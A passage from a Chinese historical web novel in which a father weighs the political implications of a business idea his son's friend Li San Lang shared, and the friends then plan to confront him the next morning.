将儿子从头看到尾,上上下下的打量了不下三遍,这才不敢置信的再次追问: “你确定那真的是李小子自己想出来的?” “这又不是什么了不得的东西,若是别人想的,最多也就是给些赏钱罢了,李三郎何必骗我们?” 氾兴不解自家父亲为什么会这样不断的反复询问,不过过往的经验告诉他,能让他爹如此重视,这里头必然有他不知道的缘故。 “阿耶,可是有什么不对?若是后续有麻烦,我一会儿再走一遭,告知三郎一声,让他停下就是,他不是那不晓事儿的人。” “不。” 氾城摆摆手,阻止了氾兴,神色莫名的又看了一眼自家儿子,淡淡的叹了口气道: “此事你不用管了。” 不用管了?氾兴一愣,随即大骇惊呼: “阿耶,这……” 看着儿子的表情,氾城就知道他是听出了严重性,心下略有欣慰。 自家儿子虽然不能立时明白这里头的关窍,可能从自己一句话就明白严重性也算不错,最起码在周围同龄人中属于有政治敏感性的,将来得了官位,想来也必然能守住。 想到这里,氾城缓了缓又多给了一句准话: “既然令狐淳已经知道了,那想来不用两天,咱们这几家的掌事人就该碰头了。为父这么说,你能明白吗?” “明白。” 氾兴神色肃然的点了点头。然后眸光一闪,迟疑了几个呼吸,忐忑的问: “阿耶,那您说,李三郎他……” “你能想到这一点,为父很高兴。” 氾城点了点头,温和的道: “不过这不是现在该纠结的事儿。你需要知道的是,不管他是不是也意识到了这一点,只看他能如此坦诚的将这一门明显能开拓出全新财源的生意告知你们这些小伙伴,氾家也好,其他家也罢,就必须要领他这份情。所以,哪怕他真的心里有数,想明白了什么,兴儿,你都不该对他有什么其他的情绪,这个你可懂?” 氾兴很想说不懂,可他偏偏……这次是真听懂了。 “我们本就是最好的兄弟。” 所以,哪怕李春有讲他们都绑到一起,应对什么事儿的嫌疑,他也不会说什么抗拒的话。 氾城听到这里,叹息着拍了拍儿子的肩膀,宽慰道: “既然都是兄弟,那么你该高兴他的聪明,毕竟笨蛋只会拖后腿,而聪明人……却能成为助力。” 好吧,若是这么想,似乎心情确实好了许多。 .................. 不只是氾兴的心情好了很多,其他小伙伴们在自家父亲的言传身教下,这会儿脑子也一个个的清明了好些,想明白了好些,心情……跌宕起伏之后,都还算不错。 但心情再不错,也不妨碍他们对这个貌似有算计他们嫌疑的李春会轻易的放过。 “来人,去***几家说一声,明日一早,李家碰头。” “将我的弓箭擦拭好了,明日我要带着出门。” “.........”